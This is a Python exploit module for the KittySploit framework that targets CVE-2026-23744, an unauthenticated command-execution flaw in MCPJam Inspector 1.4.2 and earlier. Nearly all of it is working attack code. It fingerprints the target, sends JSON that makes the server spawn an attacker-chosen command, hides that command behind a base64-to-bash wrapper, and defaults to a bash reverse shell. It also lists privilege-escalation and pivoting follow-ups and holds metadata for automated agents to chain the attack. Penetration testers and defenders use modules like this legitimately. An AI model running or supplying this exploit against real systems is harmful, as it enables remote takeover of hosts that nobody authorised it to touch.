MCPJam Inspector CVE-2026-23744 unauthenticated RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import base64
from typing import Optional, Tuple

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "MCPJam Inspector CVE-2026-23744 unauthenticated RCE",
        "description": (
            "CVE-2026-23744: MCPJam Inspector (<= 1.4.2) exposes /api/mcp/connect without "
            "authentication and spawns attacker-controlled serverConfig.command/args. "
            "The app binds to 0.0.0.0 by default, enabling remote unauthenticated RCE. "
            "Fixed in 1.4.3+."
        ),
        "author": ["c2an1", "Inzego", "KittySploit Team"],
        "cve": ["CVE-2026-23744"],
        "platform": Platform.LINUX,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-23744",
            "https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6",
            "https://osv.dev/vulnerability/CVE-2026-23744",
            "https://github.com/jf-gondim/mcp-pwn",
        ],
        "tags": [
            "mcpjam",
            "mcp",
            "inspector",
            "rce",
            "unauthenticated",
            "cwe-78",
            "cve-2026-23744",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["mcpjam", "mcp"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": ["/api/mcp/connect"],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    _ENDPOINT = "/api/mcp/connect"

    port = OptPort(6274, "MCPJam Inspector port (default 6274)", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)
    endpoint = OptString(_ENDPOINT, "MCP connect API path", required=False, advanced=True)
    command = OptString("", "OS command to execute (overrides payload when set)", required=False)
    shell = OptString(
        "bash",
        "Shell wrapper: bash | sh | cmd (Windows)",
        required=False,
    )
    server_id = OptString("kittysploit", "serverId field sent in the JSON body", required=False)
    wrap_base64 = OptBool(
        True,
        "Wrap command as: echo <b64> | base64 -d | bash (or cmd.exe equivalent)",
        required=False,
    )

    def _endpoint_path(self) -> str:
        path = str(self.endpoint or self._ENDPOINT).strip() or self._ENDPOINT
        if not path.startswith("/"):
            path = "/" + path
        return path

    def _build_body(self, command: str) -> dict:
        shell = str(self.shell or "bash").strip().lower() or "bash"
        use_b64 = bool(self.wrap_base64)
        server_id = str(self.server_id or "kittysploit").strip() or "kittysploit"

        if shell in ("cmd", "cmd.exe", "windows"):
            if use_b64:
                encoded = base64.b64encode(command.encode()).decode()
                # PowerShell-free decode via certutil is noisy; keep simple /c for Windows.
                spawn_cmd = "cmd.exe"
                spawn_args = ["/c", command]
            else:
                spawn_cmd = "cmd.exe"
                spawn_args = ["/c", command]
        else:
            bin_shell = "/bin/bash" if shell == "bash" else "/bin/sh"
            if use_b64:
                encoded = base64.b64encode(command.encode()).decode()
                spawn_cmd = bin_shell
                spawn_args = ["-c", f"echo {encoded} | base64 -d | {bin_shell}"]
            else:
                spawn_cmd = bin_shell
                spawn_args = ["-c", command]

        return {
            "serverConfig": {
                "command": spawn_cmd,
                "args": spawn_args,
                "env": {},
            },
            "serverId": server_id,
        }

    def _connect(self, command: str) -> Tuple[Optional[object], dict]:
        body = self._build_body(command)
        response = self.http_request(
            method="POST",
            path=self._endpoint_path(),
            json=body,
            headers={
                "Content-Type": "application/json",
                "Accept": "application/json, */*",
            },
            timeout=max(int(self.timeout or 15), 10),
            allow_redirects=False,
        )
        return response, body

    def _looks_auth_gated(self, response) -> bool:
        if not response:
            return False
        if response.status_code in (401, 403):
            return True
        text = (response.text or "").lower()
        return any(
            marker in text
            for marker in (
                "unauthorized",
                "forbidden",
                "authentication required",
                "session token",
                "not authenticated",
            )
        )

    def _looks_mcpjam(self) -> bool:
        for path in ("/", "/index.html", "/api/health", "/health"):
            response = self.http_request(
                method="GET",
                path=path,
                timeout=max(int(self.timeout or 10), 5),
                allow_redirects=True,
            )
            if not response:
                continue
            text = (response.text or "").lower()
            headers = {k.lower(): v for k, v in (response.headers or {}).items()}
            if any(
                marker in text
                for marker in ("mcpjam", "mcp inspector", "@mcpjam", "mcp-jam")
            ):
                return True
            server = headers.get("server", "").lower()
            if "mcpjam" in server:
                return True
        return False

    def check(self):
        response, _ = self._connect("id")
        if not response:
            return {
                "vulnerable": False,
                "reason": "No response from /api/mcp/connect",
                "confidence": "low",
            }
        if self._looks_auth_gated(response):
            return {
                "vulnerable": False,
                "reason": f"Endpoint gated (HTTP {response.status_code}); likely patched",
                "confidence": "medium",
            }
        # Endpoint accepts unauthenticated spawn requests (command runs out-of-band).
        if response.status_code in (200, 201, 202, 400, 500):
            return {
                "vulnerable": True,
                "reason": (
                    f"Unauthenticated /api/mcp/connect accepted spawn request "
                    f"(HTTP {response.status_code})"
                ),
                "confidence": "medium",
            }
        return {
            "vulnerable": False,
            "reason": f"Unexpected HTTP {response.status_code}",
            "confidence": "low",
        }

    def run(self):
        manual = str(self.command or "").strip()
        if manual:
            command = manual
        else:
            command = str(self.payload or "").strip()
            if not command:
                print_error("No payload or command specified")
                print_info(
                    "Set a payload (e.g. payloads/singles/cmd/unix/bash_reverse_tcp) "
                    "or set command"
                )
                return False

        print_status("CVE-2026-23744 — MCPJam Inspector unauthenticated RCE")
        print_info(f"Target: {self.target}:{int(self.port)}{self._endpoint_path()}")

        if self._looks_mcpjam():
            print_success("MCPJam fingerprint detected")
        else:
            print_status("MCPJam fingerprint inconclusive; continuing with connect probe")

        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason") or "Target does not appear vulnerable")
            self.not_vulnerable()
            return False
        print_success(chk.get("reason") or "Endpoint appears exploitable")

        print_status(f"Dispatching command ({len(command)} bytes)...")
        response, body = self._connect(command)
        if not response:
            print_error("No response after payload dispatch")
            # Process spawn may still have started before the HTTP client timed out.
            print_warning("Request may still have executed on the target — check your listener")
            self.vulnerable()
            return True

        if self._looks_auth_gated(response):
            print_error(f"Endpoint gated (HTTP {response.status_code}); likely patched")
            self.not_vulnerable()
            return False

        print_success(f"Payload dispatched (HTTP {response.status_code})")
        preview = (response.text or "").strip()
        if preview:
            print_info(preview[:500])
        print_info(f"serverId={body.get('serverId')}")
        self.vulnerable()
        return True